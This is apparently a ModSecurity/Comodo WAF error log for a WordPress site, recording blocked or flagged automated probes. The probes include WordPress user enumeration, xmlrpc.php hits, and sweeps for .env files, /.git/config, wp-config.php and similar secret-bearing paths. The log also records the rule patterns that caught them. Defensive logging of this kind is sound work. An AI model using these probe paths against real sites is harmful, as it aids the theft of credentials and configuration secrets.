[Sat Nov 29 14:38:11.857269 2025] [:error] [pid 25341:tid 25345] [client 223.178.210.114:26679] [client 223.178.210.114] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aSqU0_WK8JdN03Mg7dz3MgAAAcA"]
[Sat Nov 29 14:39:50.866803 2025] [:error] [pid 20915:tid 20927] [client 223.178.210.114:31471] [client 223.178.210.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.210.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSqVNlOOtKw1QZ3TPESwfgAAAMo"]
[Sat Nov 29 14:41:28.208691 2025] [:error] [pid 62619:tid 62636] [client 223.178.210.114:20053] [client 223.178.210.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.210.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSqVmNk7ZYKT63FfVSUuKQAAAU8"]
[Sat Nov 29 14:43:03.443082 2025] [:error] [pid 16610:tid 16629] [client 223.178.210.114:12246] [client 223.178.210.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.210.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSqV9wTu2dLzNk_QISrcGwAAAZE"]
[Sat Nov 29 14:44:55.442482 2025] [:error] [pid 25341:tid 25366] [client 223.178.210.114:19756] [client 223.178.210.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.210.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSqWZ_WK8JdN03Mg7dz4gAAAAdU"]
[Sat Nov 29 14:53:57.906877 2025] [:error] [pid 20827:tid 20863] [client 164.132.49.123:53518] [client 164.132.49.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.49.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSqYhYR9B7FcLfh1rSFqHwAAAEU"]
[Sat Nov 29 15:00:48.502154 2025] [:error] [pid 20828:tid 20893] [client 207.154.216.0:60050] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSqaIOqW2f0jLRABAORe6QAAAIg"]
[Sat Nov 29 15:00:49.372331 2025] [:error] [pid 20828:tid 20891] [client 207.154.216.0:63021] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSqaIeqW2f0jLRABAORe9wAAAIY"]
[Sat Nov 29 15:00:49.939089 2025] [:error] [pid 16610:tid 16616] [client 207.154.216.0:53032] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSqaIQTu2dLzNk_QISremgAAAYQ"]
[Sat Nov 29 15:00:50.567802 2025] [:error] [pid 20828:tid 20892] [client 207.154.216.0:59474] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSqaIuqW2f0jLRABAORfJwAAAIc"]
[Sat Nov 29 15:00:51.058834 2025] [:error] [pid 20828:tid 20904] [client 207.154.216.0:61639] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSqaI-qW2f0jLRABAORfNgAAAJM"]
[Sat Nov 29 15:14:23.080944 2025] [:error] [pid 20827:tid 20873] [client 207.154.216.0:60207] [client 207.154.216.0] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-json/"] [unique_id "aSqdT4R9B7FcLfh1rSFuJAAAAE8"]
[Sat Nov 29 16:26:01.635275 2025] [:error] [pid 20827:tid 20861] [client 50.116.31.125:57520] [client 50.116.31.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.116.31.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSquGYR9B7FcLfh1rSF1agAAAEM"]
[Sat Nov 29 16:59:59.780000 2025] [:error] [pid 20826:tid 20854] [client 18.231.1.12:54594] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.remote"] [unique_id "aSq2D_ABfBqk70vKX9SUWQAAABg"]
[Sat Nov 29 17:00:00.147362 2025] [:error] [pid 32136:tid 32142] [client 18.231.1.12:54640] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aSq2EMSj_WSVQM1psKp0oAAAAQQ"]
[Sat Nov 29 17:00:00.998087 2025] [:error] [pid 20828:tid 20896] [client 18.231.1.12:54654] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/vendor/.env"] [unique_id "aSq2EOqW2f0jLRABAORuZAAAAIs"]
[Sat Nov 29 17:00:00.998293 2025] [:error] [pid 20828:tid 20895] [client 18.231.1.12:54648] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aSq2EOqW2f0jLRABAORuZQAAAIo"]
[Sat Nov 29 17:00:00.999324 2025] [:error] [pid 62619:tid 62640] [client 18.231.1.12:54652] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aSq2ENk7ZYKT63FfVSVI0gAAAVM"]
[Sat Nov 29 17:00:00.999761 2025] [:error] [pid 20915:tid 20918] [client 18.231.1.12:54646] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "aSq2EFOOtKw1QZ3TPETCVgAAAME"]
[Sat Nov 29 17:00:00.999930 2025] [:error] [pid 20828:tid 20892] [client 18.231.1.12:54658] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/lib/.env"] [unique_id "aSq2EOqW2f0jLRABAORuZgAAAIc"]
[Sat Nov 29 17:00:01.000934 2025] [:error] [pid 20826:tid 20840] [client 18.231.1.12:54638] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "aSq2EfABfBqk70vKX9SUWgAAAAo"]
[Sat Nov 29 17:00:01.000944 2025] [:error] [pid 20915:tid 20921] [client 18.231.1.12:54650] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aSq2EVOOtKw1QZ3TPETCVwAAAMQ"]
[Sat Nov 29 17:00:01.001464 2025] [:error] [pid 62619:tid 62628] [client 18.231.1.12:54656] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/lab/.env"] [unique_id "aSq2Edk7ZYKT63FfVSVI0wAAAUc"]
[Sat Nov 29 17:00:01.156559 2025] [:error] [pid 20826:tid 20837] [client 18.231.1.12:54772] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/cron/.env"] [unique_id "aSq2EfABfBqk70vKX9SUXAAAAAc"]
[Sat Nov 29 17:00:01.157906 2025] [:error] [pid 62619:tid 62635] [client 18.231.1.12:54770] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/cronlab/.env"] [unique_id "aSq2Edk7ZYKT63FfVSVI1QAAAU4"]
[Sat Nov 29 17:00:01.626684 2025] [:error] [pid 32136:tid 32160] [client 18.231.1.12:54878] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/.env"] [unique_id "aSq2EcSj_WSVQM1psKp0pQAAARY"]
[Sat Nov 29 17:00:02.694430 2025] [:error] [pid 32136:tid 32140] [client 18.231.1.12:55016] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/app/.env"] [unique_id "aSq2EsSj_WSVQM1psKp0qQAAAQI"]
[Sat Nov 29 17:00:03.478095 2025] [:error] [pid 16610:tid 16627] [client 18.231.1.12:55594] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env"] [unique_id "aSq2EwTu2dLzNk_QISrr-AAAAY8"]
[Sat Nov 29 17:00:03.822690 2025] [:error] [pid 16610:tid 16614] [client 18.231.1.12:56310] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aSq2EwTu2dLzNk_QISrr-QAAAYI"]
[Sat Nov 29 17:00:04.127282 2025] [:error] [pid 62619:tid 62638] [client 18.231.1.12:56594] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/apps/.env"] [unique_id "aSq2FNk7ZYKT63FfVSVI3wAAAVE"]
[Sat Nov 29 17:00:04.676973 2025] [:error] [pid 32136:tid 32153] [client 18.231.1.12:57176] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sitemaps/.env"] [unique_id "aSq2FMSj_WSVQM1psKp0qwAAAQ8"]
[Sat Nov 29 17:00:05.488568 2025] [:error] [pid 16610:tid 16636] [client 18.231.1.12:57584] [client 18.231.1.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/saas/.env"] [unique_id "aSq2FQTu2dLzNk_QISrr_AAAAZg"]
[Sat Nov 29 17:38:03.787728 2025] [:error] [pid 62619:tid 62643] [client 51.79.166.146:34344] [client 51.79.166.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.166.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSq--9k7ZYKT63FfVSVUUgAAAVY"]
[Sat Nov 29 18:31:17.188036 2025] [:error] [pid 16610:tid 16631] [client 195.178.110.54:52292] [client 195.178.110.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||gigfragments.org|F|4"] [data "grub-client"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "gigfragments.org"] [uri "/gigfragments.org/wp-content/themes/landkit/assets/libs/choices.js/public/assets/scripts/choices.min.js"] [unique_id "aSrLdQTu2dLzNk_QISr_2wAAAZM"]
[Sat Nov 29 19:03:11.351852 2025] [:error] [pid 37490:tid 37494] [client 207.154.196.136:44618] [client 207.154.196.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.196.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSrS75jG6OUSCUo6XZ0zRgAAAgI"]
[Sat Nov 29 20:21:30.079595 2025] [:error] [pid 16610:tid 16617] [client 47.244.90.157:54492] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSrlSgTu2dLzNk_QISoTwgAAAYU"]
[Sat Nov 29 20:50:46.410310 2025] [:error] [pid 32136:tid 32144] [client 43.130.139.136:54126] [client 43.130.139.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSrsJsSj_WSVQM1psKqxywAAAQY"]
[Sat Nov 29 21:41:40.632334 2025] [:error] [pid 20827:tid 20866] [client 141.94.206.106:52238] [client 141.94.206.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.206.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSr4FIR9B7FcLfh1rSGsaAAAAEg"]
[Sat Nov 29 22:34:30.572048 2025] [:error] [pid 20827:tid 20870] [client 93.123.109.7:40412] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSsEdoR9B7FcLfh1rSG0-gAAAEw"]
[Sat Nov 29 23:40:06.629952 2025] [:error] [pid 16610:tid 16618] [client 93.123.109.7:41166] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aSsT1gTu2dLzNk_QISo6qAAAAYY"]
[Sun Nov 30 00:34:46.431659 2025] [:error] [pid 58730:tid 58774] [client 54.180.92.67:38892] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aSsgpqDQq6rwusUXQKjHHQAAAAk"]
[Sun Nov 30 00:34:47.037207 2025] [:error] [pid 42163:tid 42212] [client 54.180.92.67:38900] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aSsgp5naEs-eGc51wg2AJgAAANE"]
[Sun Nov 30 00:34:47.651215 2025] [:error] [pid 42162:tid 42179] [client 54.180.92.67:38912] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.local"] [unique_id "aSsgp9ePpz4Ije-_Ejre1QAAAIw"]
[Sun Nov 30 00:34:48.255537 2025] [:error] [pid 42252:tid 42261] [client 54.180.92.67:38922] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.production"] [unique_id "aSsgqLweMxCk051n8_-iBAAAAUc"]
[Sun Nov 30 00:34:48.870369 2025] [:error] [pid 58730:tid 58766] [client 54.180.92.67:54718] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.development"] [unique_id "aSsgqKDQq6rwusUXQKjHIAAAAAE"]
[Sun Nov 30 00:34:49.471301 2025] [:error] [pid 42252:tid 42275] [client 54.180.92.67:54724] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.bak"] [unique_id "aSsgqbweMxCk051n8_-iBgAAAVU"]
[Sun Nov 30 00:34:50.067878 2025] [:error] [pid 42252:tid 42264] [client 54.180.92.67:54732] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.example"] [unique_id "aSsgqrweMxCk051n8_-iBwAAAUo"]
[Sun Nov 30 00:35:06.663090 2025] [:error] [pid 42162:tid 42180] [client 54.180.92.67:41746] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/config.ini"] [unique_id "aSsgutePpz4Ije-_Ejre4QAAAI0"]
[Sun Nov 30 00:35:24.938557 2025] [:error] [pid 42252:tid 42258] [client 54.180.92.67:35190] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/wp-config.php"] [unique_id "aSsgzLweMxCk051n8_-iRgAAAUQ"]
[Sun Nov 30 00:35:25.538634 2025] [:error] [pid 42164:tid 42238] [client 54.180.92.67:35192] [client 54.180.92.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/composer.json"] [unique_id "aSsgzdip8Nhatsq7KxzJQgAAARA"]
[Sun Nov 30 01:55:20.881685 2025] [:error] [pid 42162:tid 42190] [client 3.107.95.9:54294] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSsziNePpz4Ije-_Ejr2sAAAAJc"]
[Sun Nov 30 01:55:20.936940 2025] [:error] [pid 42162:tid 42177] [client 3.107.95.9:54298] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aSsziNePpz4Ije-_Ejr2sQAAAIo"]
[Sun Nov 30 01:55:20.988703 2025] [:error] [pid 42252:tid 42267] [client 3.107.95.9:54314] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aSsziLweMxCk051n8_-9fAAAAU0"]
[Sun Nov 30 01:55:21.044292 2025] [:error] [pid 42162:tid 42191] [client 3.107.95.9:54318] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aSszidePpz4Ije-_Ejr2sgAAAJg"]
[Sun Nov 30 01:55:21.101981 2025] [:error] [pid 42252:tid 42262] [client 3.107.95.9:54334] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aSszibweMxCk051n8_-9fQAAAUg"]
[Sun Nov 30 01:55:21.154124 2025] [:error] [pid 42252:tid 42269] [client 3.107.95.9:54336] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "aSszibweMxCk051n8_-9fgAAAU8"]
